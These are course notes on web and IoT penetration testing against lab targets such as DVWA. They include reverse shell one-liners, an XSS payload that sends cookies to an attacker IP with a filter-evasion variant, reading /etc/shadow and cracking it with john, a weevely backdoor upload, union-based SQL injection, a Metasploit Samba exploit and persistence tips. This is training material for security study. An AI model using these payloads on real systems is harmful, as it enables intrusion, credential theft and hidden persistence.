🌐 中文版：繁體中文

Course content:

1
2
3
4
5
6
7
8
- Web basics
- Active/passive information gathering
- Common web vulnerabilities
- Target machines
- DVWA (Damn Vulnerable Web Application)
- RF (radio frequency) penetration testing (IoT)
- Basic communication protocols
- Software-defined radio (SDR)

PT (penetration testing) vs RT (red team exercise)

  • PT: smaller scope, and can’t target social engineering, e.g. a specific web page
  • RT: larger scope, e.g. the whole company

Black box: closest to a real scenario
White box: provide as much relevant info to the tester as possible
Gray box: a mix of black and white box, providing a self-declaration form and then letting the tester test

Penetration testing flow:

  1. Information gathering
  2. Vulnerability scanning
  3. Exploitation
    White hat:
    1. Vulnerability reporting
      Black hat:
    2. Privilege escalation
    3. Persistent access
    4. Defense evasion (evading those alarms that go off)
    5. Data exfiltration (exfiltrating the DB in batches)

IoT attack vectors

  • Hardware: physical interface
    Used by developers, often not disabled after shipping; if you can reach the interface you can usually get root directly, and the low level is usually plaintext transmission
    • The device enclosure provides no protection mechanism
    • The low level uses plaintext transmission
    • Glitching: use tiny voltages to disturb the hardware device
    • Side Channel Attack: for an encryption chip, you can measure its voltage, audio, etc., and use these to analyze the encryption method, key, and so on
  • Firmware: hardcode, enc key, exploit
    • The software/firmware isn’t encrypted
    • Has sensitive data
  • Software: Android app
  • Radio: cellular, WiFi, cellular networks
    • Unencrypted wireless communication can be sniffed
    • Jamming attacks
    • Replay attacks
    • Fuzzing: needs reverse engineering first before you can fuzz
    • Communication protocol: the most troublesome, needs the OEM to handle
  • Cloud:
    • API attacks
    • Injection attacks
    • Authentication/authorization mechanisms
    • Logic flaws
    • Web vulnerabilities

Web attack vectors


Web 1.0

  • The bulletin-board concept
  • Only static pages

Web 2.0

  • Readable/writable, multi-function dynamic pages
  • Applications
  • DB (personal data)
  • API
  • Different users get different pages

Web 3.0

  • Decentralized (data stored distributed)

HTTP

  • Composed of request/response
  • Since HTTP is stateless, it relies on the cookie mechanism to record user info and time
  • Status codes

Attack targets

  1. User identity
  • Authentication
  • Permission division
  • Session
    e.g. HTTP packet formats are all the same
  1. Input/output:
  • SQL Injection
  • Command Injection
  • Need normalization processing
  • Developers need to set definite characters
    e.g. filling a number field with Chinese or English
  1. Program logic

Common tools:

Information Gathering: split into active and passive

  • Active information gathering

    • nmap actively gathers target info: scanning the target host’s ports
    • Nikto, an open-source website vulnerability scanner: built into Kali
    • Dirb brute-force enumerates directories and files under a web page 
      1
      2
      3
      4
      dirb url
      # check whether the page stores sensitive data
      # may be able to scan out user paths
      # if Apache is used as a relay, it can be scanned out

  • Passive information gathering

    • Use passive data (IP, name, birthday, etc.) to describe the target

    • Don’t contact the target directly, to avoid leaving traces

    • SHODAN

      • Can scan all IoT devices in the world
      • Hosts
      • Open ports
      • Whether there are known vulnerabilities
      • Can search with these keywords:
        • hostname: search a specified host or domain, e.g. hostname:”google”
        • port: search a specified port or service, e.g. port:”21”
        • country: search a specified country, e.g. country:”CN”
        • city: search a specified city, e.g. city:”Hefei”
        • org: search a specified organization or company, e.g. org:”google”
        • isp: search a specified ISP, e.g. isp:”China Telecom”
        • product: search a specified OS/software/platform, e.g. product:”Apache httpd”
        • version: search a specified software version, e.g. version:”1.6.2”
        • geo: search a specified geographic location, with lat/lon args, e.g. geo:”31.8639, 117.2808”
        • before/after: search data before/after a specified indexing time, format dd-mm-yy, e.g. before:”11-11-15”
        • net: search a specified IP address or subnet, e.g. net:”210.45.240.0/24”
        • References:

    • Google Hacking

      • Use Google Search to gather intelligence on the target
      • Use “site:” to search

  • Filtering packets

    • Burp Suite
      How to use:
      Open Burp Suite in Kali

      Enabling the proxy means all traffic afterward goes through Burp Open the browser via the proxy ![](https://i.imgur.com/dWxhFur.png) Go to Project Options > MISC > check Enable ![](https://i.imgur.com/vswHeoq.png) Then you can keep using the proxy ![](https://i.imgur.com/HwXBX1w.png) Open the IP or URL in the browser, and the packets get intercepted into the browser ![](https://i.imgur.com/OATh3RT.png)

  • Brute force


    Different attack types have different modes
    Sniper: tests values from the dictionary in alternating order

    Send the access content to Repeater to confirm the response


Command Injection

Because user input isn’t filtered, it can cause sensitive-data leakage and other problems
Linux command

Column 1 Column 2
; or & runs the second command regardless of whether the first succeeded
&& won’t run the next command if the first fails
| (pipe) takes the previous command’s output as the next command’s input
|| (double pipe) runs the next command only if the previous fails

DVWA

  1. Enter IP to get shell


You can add some Linux commands to the command


cat to dump /etc/shadow

ls -al to view file permissions

ls -al | grep shadow
linux
/etc/passwd: Linux used to store all accounts/passwords here
/etc/shadow: modern Linux separates it out

Reverse shell

The victim’s machine connects back to the attacker’s machine (going out is easier than coming in)

Bash

  • Victim: bash -i >& /dev/tcp/ip/port 0>&1
  • Attacker: nc -nvlp port

Netcat

  • Victim: nc ip port -e /bin/bash
  • Attacker: nc -nvlp port

john the ripper brute force
See the Linux /etc/shadow file structure
https://blog.gtwang.org/linux/linux-etc-shadow-file-format/

xdg-open >> presents the file so you can open it directly


Cracking the Linux root password
Merge passwd and shadow, writing into crack

1
unshadow passwd shadow > crack


Use john to crack the password

Cracking the Windows root password
SAM file
NTLM hash
Net-NTLM, where key exchange happens over the network

CVE Details
You can track vulnerabilities
Won’t have the code for how to exploit them
ExploitDB
Can track vulnerabilities
Remote code execution (RCE) vulnerabilities

Metasploit
https://ithelp.ithome.com.tw/articles/10224527

1
msfconsole

Target machine test (192.168.5.107)

NET config

The network must use a bridged adapter

  1. First test which ports on the victim machine are open
    Use nmap to view open ports

    You can see what commands are available in bin

  2. Login
    Use SQL Injection to log in

  3. Use the victim computer to connect back to the attacker computer
    You can use these two:

  • bash
  • netcat

  1. Gather info on the victim computer

    1
    2
    3
    whoami
    uname -a
    lsb_release -a

  2. Use ExploitDB to look up vulnerabilities

  3. Open an Apache service on the local computer

    The opened screen looks like this

    Put the needed files into the Apache folder so the victim computer can later download the data from Apache

  4. Download the exploit file on the victim computer
    Use pwd to confirm the location points to tmp
    (since privileges are insufficient, you need a location the current privileges can read/write)
    Use wget to download from the locally-opened Apache


    Confirm permissions

File Upload

Use weevely to generate backdoor.php

Upload the file back to the DVWA site

Use weevely to connect to the uploaded path

1
weevely http://IP/dvwa/hackable/uploads/backdoor.php pwd(password)


Check the host status

The front end blocks non-images First change the malicious file to .jpeg

Upload the file, use Burp Suite to intercept the packet, and change the filename in the packet to php

LFI (Local File Inclusion)

Local file inclusion vulnerability (LFI)

Sensitive files:

  • /etc/passwd
  • /var/log/auth.log
    • records which users connected to this machine
  • /var/log/apache2/access.log/error.log
    • which error messages have appeared
  • ../../../
    • can browse which files it has
  • %WINDIR%\win.ini
    • Windows config file, you can see config

You can put an absolute path after ?page= to look up data

RFI (Remote File Inclusion)

Has an RFI vulnerability
Needs these functions enabled:

  • allow_url_fopen
  • allow_url_include

XSS

Cross-Site Scripting
The target is the user side, not the server side

Exploitation conditions

  • The server doesn’t filter user-submitted data strictly enough
  • Use social engineering to get the victim to click and trigger it
    Impact:
  • Redirect (malware) to a site they shouldn’t be redirected to
  • Steal cookies
  • Phishing
    Types:
  • Reflected: returns a script that the user has to click to be affected
  • Stored: the JS code is stored on the server, and triggers whether or not the user clicks

Insert JS code

1
<script>alert("call 911")</script>


1
<script>alert(document.cookie)</script>


Steal info from the user and send it to the attacker
Listen on port 80
Enter JS code to connect to the attacker’s IP and send back the cookie

1
<script>new image().src="http://ip/output="+document.cookie;</script>

If script is filtered out, you can use mixed case to obfuscate it e.g. 
1
<sCripT>new image().src="http://ip/output="+document.cookie;</sCripT>

1

XSS stored

Target machine test 2 (192.168.0.182)

  1. Gather data
    Use dirb to gather web data

Use nmap -A to view which ports are open on the host

You can target/attack samba among them
(samba has quite a few holes)

  1. Open msfconsole

  2. Search for samba vulnerabilities

  3. Compile the exploit script

  4. Run the exploit script

    (and you can connect in and get root)

How to maintain the connection process?
The closer to user behavior, the better and harder to detect

  1. Create a new account
  2. Brute-force its other account passwords
  3. Insert a service (but AD may cut it off)
  4. Create a connection back to your own host (but AD may cut it off)

How To Create a Sudo User in Linux?
https://www.digitalocean.com/community/tutorials/how-to-create-a-sudo-user-on-ubuntu-quickstart

CSRF

Intercept the change-password page

Copy the packet’s URI

Executing the URI changes the password

Shortening the URI makes it more covert

XSS + CSRF combo

1
<script>new Image().src="change-password URI"</script>
  • Reflected: clicking this image changes it
  • Stored: after login, browsing to a specific image with the cookie changes it

SQL Injection (dumping the DB)

The server doesn’t filter, so entered SQL syntax is parsed and the result returned
SQL basics:

  • Select DB
  • Select table
  • Select column
  • Data

Log into the DB

1
2
3
4
mysql -u root -h IP
show DB;
use dvwa;
show tables;


select

Information Schema

  • Information_schema.schemata: all DBs
  • Information_schema.tables: all tables
  • Information_schema.columns: all columns


Entering 1 produces info for ID 1

So you can use select syntax to enter all DBs

1
1 ' union select 1, schema_name from information_schema.schemata # 

1
1 ' union select 1, table_name from information_schema.tables # 

1
1 ' union select 1, table_name from information_schema.tables where table_name='dvwa'#

Handy resources

RF penetration testing

Install basic packages

1
2
3
4
sudo apt-get install gnuradio 
sudo apt-get install gr-osmosdr
sudo apt-get install rtl-sdr
rtl_test

Open osmocom_fft
osmocom_fft

Communication overview

Signals:

  • Analog signal: a signal produced by changes in amplitude, which can carry information
    • Hertz (Hz): how many oscillations per second
  • Digital signal: represented as 0 or 1, not used to carry information

Frequency: how many oscillations per second, cycles per second
Bandwidth: describes the range of frequencies, also called bandwidth

FFT algorithm:

  • Center Frequency: (f max + f min)/2
  • Bandwidth (channel width): |f max - f min|

Spectrum allocation:

ISM band:

  • No license or government fee needed
  • 2.4GHz, 868MHz

Sub-1G band:

  • Bands below 1GHz are called Sub-1GHz

Transmit: modulation -> message × carrier = signal
Receive: demodulation

  • Analog modulation
    • Frequency Modulation (FM): uses signal frequency density to represent
    • Amplitude Modulation (AM): uses signal amplitude level to represent
    • Phase Modulation (PM): uses different phases (angles) to represent
  • Digital modulation
    • Amplitude-Shift Keying (ASK)
    • Frequency-Shift Keying (FSK)
    • Phase-Shift Keying (PSK)
    • Orthogonal Frequency-Division Multiplexing (OFDM), e.g. WiFi
  • Comparison

Simplex: receive only, or transmit only
Half-duplex: can choose one of receive/transmit at a time, e.g. radio
Duplex: can transmit & receive at the same time, e.g. phone

Current:
current on a conductor - transmitter (Tx) -> air interface -> receiver (Rx) - current on a conductor

Wireless IC Dongle

SDR Platforms

Wireless IC Dongle vs SDR Platforms

  • Wireless IC Dongle: after receiving a signal, sends the demodulated signal to the computer
  • SDR Platforms: after receiving a signal, sends the undemodulated signal to the computer

Gain vs Loss

  • Gain: output signal > input signal; by conservation of energy, the signal doesn’t grow for no reason, so it’s amplified via current
  • Loss: input signal > output signal; energy-conservation conversion via heat

Decibels are used as the comparison measure

Sampling theorem:
To convert an analog signal to a digital one via sampling, how many points are needed to represent one wave?

<fs sampling rate, f sampling frequency, B bandwidth>

  1. Low-pass sampling theorem: sampling rate is at least twice the sampling frequency
    fs = 2 × f
  2. Band-pass sampling theorem: sampling rate is at least twice the bandwidth
    fs = 2 × B

  • Decimation: lower the sampling rate

  • Interpolation: raise the sampling rate

  • Aliasing effect: occurs at the signal’s center frequency ± sampling rate

Matching:

  • RF signal impedance 50 Ω (Ohm)
  • Video signal impedance 75 Ω (Ohm)
  • Poor matching: RF signal will have reflection issues, and in severe cases may burn out
1
gnuradio-companion

Each item in the figure is a function module connected together
NBFM Receive is the receive for demodulating the signal; without it, it won’t work

Open a new flow graph
File > New > WX GUI

Area intro

RTL-SDR parameter settings

You can change the variable so all variables related to samp_rate change together

Save all signals received by the RTL to a file

Give file_sink the storage location

1
inspectrum <file>

Components

Active: needs power to operate
Passive: operates without power

  • Amplifier:

    • Three properties: gain, noise figure, linearity
      • Gain: expressed in dB
      • Noise figure: expressed in dB
      • Linearity: degree of distortion
    • Three types: low-noise, high-power, other

  • Antenna

    • Antenna: receives and transmits signals
      • Omnidirectional antenna: all around
      • Directional antenna: only one angle
      • Gain antenna: sacrifices the electromagnetic field; not power gain but directional gain
      • Active antenna: must include power gain
    • Frequency: determines the antenna’s size
    • Propagation direction: determines the antenna’s shape
      • Omnidirectional: all around
      • Directional: only one angle
    • Power: determines the antenna’s size

  • Filter

    • Divides different signals by “frequency”
    • Frequency response: beyond its frequency, the effect declines
    • Filters out frequencies you don’t want

  • Mixer:

    • Changes the signal’s frequency while keeping other characteristics, i.e. doing modulation
    • A mixer is usually followed by a filter
    • Harder to digitize

  • Oscillator:

    • Harder to digitize

  • Component comparison

  • Component communication

    • Transmitter

    • Receiver

Reverse engineering

Flow:

  1. Find the signal
  2. Capture the signal
  3. Analyze the signal

Analyze the signal:

  • Preamble: tells both sides to get ready to connect
    • Common: 0xaaaa, 0x5555
  • Sync Word: “I’m about to start transmitting data now!”
    • Common: 0xd391

FFT size: adjusts the frequency-axis scaling
Zoom: adjusts time
Power Max: adjusts signal display
Power Min: adjusts background-noise display
Adjust Zoom & FFT size


Make the red line hug the signal

You can see the amplitude below (the green line)

urh signal analysis


analysis

Analysis exercises

Doorbell exercise

frequency 240~960MHz

modulation OOK (On-Off Keying, a kind of ASK) or ASK

preamble size 0
preamble 0x55 or 0xaa

Sync size 32 bits
Sync Word 0x80000000

Packet Structure:
Sync+(0x8eee8ee88eee888e888888e88)*39+0x8eee8ee88eee888e888888e8

Once you understand the packet structure, the next step is to simulate a similar packet structure and send it back to the IoT device. If the original signal doesn’t filter the needed values, i.e. changing the length or content in the Data part, will the IoT device crash?

PWM

  • high-high-low 1
  • high-low-low 0
  • PWM coding is often modulated with ASK
  • bit rate = baud rate / 3 = symbol rate / 3
    Manchester test
  • high voltage to low voltage is 0
  • low voltage to high voltage is 1
  • bit rate = baud rate / 2 = symbol / 2

Unknown exercise

  • Identify Application

    • remote controlled car application

  • Identify Modulation Type

    • ASK/OOK

  • Identify Preamble

    • No

  • Identify Sync Word

    • 4*W2 or W2 both work

  • Identify Encoding

    • NRZ (often modulated with ASK, but this case is an exception)

  • Identify 4 Signal Functions

    • up: w2x4 + w1x10
    • down: w2x4 + w1x40
    • right: w2x4 + w1x64
    • left: w2x4 + w1x58

  • Identify Packet Structure

apache2 server

Reference
https://ubuntu.com/tutorials/install-and-configure-apache#2-installing-apache
https://www.cyberciti.biz/faq/star-stop-restart-apache2-webserver/

  • install
    1
    2
    sudo apt update
    sudo apt install apache2
  • start
    1
    # sudo /etc/init.d/apache2 start
  • restart
    1
    # sudo /etc/init.d/apache2 restart
  • stop
    1
    # sudo /etc/init.d/apache2 stop